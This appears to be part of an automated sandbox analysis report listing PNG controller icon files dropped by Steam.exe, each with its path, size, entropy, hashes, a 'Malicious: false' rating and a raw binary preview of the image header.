SHA-512:	A6C76B948B2F9DDAAC3BFA5E05113383F9D1AFDB55AEBD7B21869AEB54D5C93D9ECD9F3D5FF0D7FEBEC84F2C7D56FC5FA3E6B5D3D8106785F85DB8865EA9BA54
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_010_wpn_0522.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	16169
Entropy (8bit):	7.877396851683735
Encrypted:	false
SSDEEP:
MD5:	0DE65DB4E7928A3057F1799FE776DE67
SHA1:	03042E0781A5E7ED3ED1B6296C19404FB1C9D27D
SHA-256:	89C06B9577A0D5FC54B28A3052545A22FF8BAE7D38675AF5D7A49B149BA72E80
SHA-512:	E141230C286DBA7EC43491DBF191C28F85DDFBD9456D5B14A47C4F50C51A14B8CB6CE1F93D80CBD0FA85015B4866F6BD3C432FEA850B705AFE42FA2A25BE8977
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_010_wpn_0523.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	14412
Entropy (8bit):	7.843925040001988
Encrypted:	false
SSDEEP:
MD5:	3CB4BEB465E20ED2F1E1208A2B0D28DD
SHA1:	A4A7503913F97324617E76B3A8354FFEAF47C793
SHA-256:	A1CB65AACF54FA2B8D83B5BDB40EB9C8BD9393C0DE2558F3F50AE72E858FE97D
SHA-512:	FAA236CA59F0375771D23799A90F6E5AEB705D1C6F59842896D6080978FF35D80C2E15F9B1F8BEEAD53E538AB40EF8AC0A66BE7E7EB8E3F744BBD1735C260850
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_010_wpn_0524.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	14205
Entropy (8bit):	7.841501519124202
Encrypted:	false
SSDEEP:
MD5:	0EA7AACA7B5A77EB514777391D48CEF5
SHA1:	E07F36A4C038530B4F07C0D149928503569117AC
SHA-256:	A297BC8606BFF7C3C355A6DD5F8C989FE79CEC2CFC0FD7627C78AD2D5FABA759
SHA-512:	6B1785F46558199CE4038A6D2D0EBB218AF14EA06FA0496DC34A1BA97CADF92DE9C5509FC67907C1BE592AE735ED8F67146D7D56E28596B8F02A74D66DA20FE6
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_010_wpn_0525.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15018
Entropy (8bit):	7.854811482160726
Encrypted:	false
SSDEEP:
MD5:	6466D66BA14E414B35FAE10BAF954D19
SHA1:	33877FD6E654E66A2F33C0EBB6A93EFC1A319EAF
SHA-256:	A8248EF1B7E5C54261EC68BD2187E8BDB3A399D0A735032DC86362C8E7C792D8
SHA-512:	6C1610940D6E49943B042601CAF29B0B5545962C41C4D9F844FEB50050A13554CDD4DCA394C66792BE0C6E4081CC33E80A7C119EB8E7A369C2F19451049C789F
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_010_wpn_0526.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	14757
Entropy (8bit):	7.842156914205779
Encrypted:	false
SSDEEP:
MD5:	8B0B3C27FB11E4217391EA6E8562E1CA
SHA1:	88BF8A0E83826628DB2A49007C390B283ED51776
SHA-256:	BC8616ACCB37497D4EC757134B52488F0B4244C25475F05377EA07F4905007B2
SHA-512:	3021D1BE8C3DE7133091F98D67AF3397746582BA05F840E566BF844620A48C6DC90DE83C1559BD2948D59C7CC1D85F80757E88360E01E248CC0914F1D4679B2D
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_010_wpn_0527.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15537
Entropy (8bit):	7.855820053534896
Encrypted:	false
SSDEEP:
MD5:	73614AA8AF28DD12041442D7794E1FEA
SHA1:	011764D1D826721D66CEE101C98C5CBF1A1CD659
SHA-256:	95330BAF1EDBF78FD6DB7347AD3AE1CA9D658B56D8E75D286DFFE179CA2A322D
SHA-512:	89A01D10AFD147E87587C334DD1A7B89DA3E97F8FED54FD42215C44BE7340A3A026E19A5E967BD4637E61E2C1449D414B79989A88FB4718CD77B5CFFA686272C
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_010_wpn_0528.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	24963
Entropy (8bit):	7.899720140673437
Encrypted:	false
SSDEEP:
MD5:	5430A99C7601A6C6A1349B49CEAC7A02
SHA1:	436C0B5ACC1D43FF6507DC2EB05194F4CF31A565
SHA-256:	1B8C7F8E67BAAB5D2C1D3E8E352370B2E4B72BC7470BB78B1B19BF83B3BFCF07
SHA-512:	1DB1CEF3C44C4CCEB763864D907F6C52DF048B064FCE475BE5750D761E76E087965185A2A1E185E3DBCFD5E5B1C9836676F02739272949CD2EE2EC84FDA539AB
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_010_wpn_0529.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	17727
Entropy (8bit):	7.87377544146971
Encrypted:	false
SSDEEP:
MD5:	61666801939363A5AA20B2C1C2932392
SHA1:	157237058C27A7F63E8CA69DFE99E38E2D642AFF
SHA-256:	2357EEB580D67874897DC11749D6E5CB3B34E847FE1FA10179234911B0C1BC22
SHA-512:	6F09CBDC557DB1CC3865FA6EA571B49A193FD8EC22221BFE4FF54F80A75C5D74A3248055D1FA930BD3E7CB47A58B298FAEF9C11B1158853C8DB7BF963F09DD2B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_010_wpn_0530.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13150
Entropy (8bit):	7.811492138795231
Encrypted:	false
SSDEEP:
MD5:	843B4222753B150FAF75E9A6750922E8
SHA1:	3F7D4EC0A36E2ED5F944D4BDF894066723510860
SHA-256:	AD2349BCD7324860C29F3EF05FF5C7BDE12F919E686C35F8C9DDAAF39875E345
SHA-512:	7B91CC3C38D846A515B4215D8C4D9AF5B7039CEB324687CBA1D0622C51176CCEC314F061295E01F7EB3A20E255DAB7882579652A454BD3F73616F5C4C0D5617C
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_020_ammo_0050.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	8731
Entropy (8bit):	7.451127123927107
Encrypted:	false
SSDEEP:
MD5:	F1F45BAB43656C31335CAE3370235C85
SHA1:	C2C22156D9BAE333F855399D6528E7136F3B456C
SHA-256:	A19E20B1348BCD155D7E2E8D03182F9552A35DCCD849673229824FE5D295F895
SHA-512:	CEF9D178B275DC41815FE7AA4289FBA404835AD938BB9D28D7F5DB7385B73B020F193B03B01ECEBDA2BE386FB55EFDA5695C1A3DA95D1C6A7636023A715F3252
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_020_ammo_0051.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	12500
Entropy (8bit):	7.665962178436528
Encrypted:	false
SSDEEP:
MD5:	AFFFDA4CAF2DF912E142FDFE18134EB5
SHA1:	D86F0C3535607BD7D1F0C98DDC92293FD8259D55
SHA-256:	095BBD9CE5F321D386D1BAFB53F01E6F3CDB91AE0FFB8EE9EAF9B14140B626DA
SHA-512:	195E4AD11443E7269B23D7A7D0B6E12FC5A3E0CB01F4E6DE0ECF40D18685258A6A6E69FB6F48F3501CEB2BD409E7CE5AA4A7FD9EDD46C7D058F17DA20B54CC31
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_020_ammo_0052.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	20677
Entropy (8bit):	7.921594782254941
Encrypted:	false
SSDEEP:
MD5:	7E25490C1C322E2C75FAA724DB032CD7
SHA1:	55B4F1FF1A9EC746D5315E29CBF3A4B31098D465
SHA-256:	1046A2C3A09A919195F464DB8DEB8204D9B0B831CF51A3EEFA86E410F3EA36ED
SHA-512:	C869F0B7986059BA9E63AAFECA8F79BBB7ED6322835D0A4A4CCC2B1898787B849DCE9B6FF774EBCFA16F540D18307A624550DE7252EFBF65E392591D34C60258
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_020_ammo_0053.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	24109
Entropy (8bit):	7.913989335462851
Encrypted:	false
SSDEEP:
MD5:	F61B72CDD45C6DD36BBF96C5DA4E5586
SHA1:	52FA24C2E3B6BE4FBA2821608866F5CE9FBE7BF4
SHA-256:	DD89DA348B880E749FF8CDF5735CA7FC928A43FAB401E6BAF11FF3ABD769102D
SHA-512:	6A8085A27E62F78871E7D8EC53BE58836D746B6C07299F943CD79C217FD5D7787B59FF1FE1062D1D13F0E389F0DB51B5913ED9ADA8E35EC031949F9F74CEB00E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_020_ammo_0054.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	5063
Entropy (8bit):	6.656801250737108
Encrypted:	false
SSDEEP:
MD5:	B4E585DB45A94CCDC0E7FC792DE8E6C7
SHA1:	2ECAA029B2F961BFCDD7184C4DA6ADE0EF1F150A
SHA-256:	E54C356134F51F6704B40483A84DF393C1E37D2593FC88B70366E927BD41525A
SHA-512:	BFFF757BDCDDD299650BE606BF066DC76AF00633611266B29F3F9AE16EEA79CD5F8F490A6E0C7A35B5781BDE4A2F9099BCA8F3D28206166C8396C3EF95EAA4FA
Malicious:	false
Reputation:	unknown
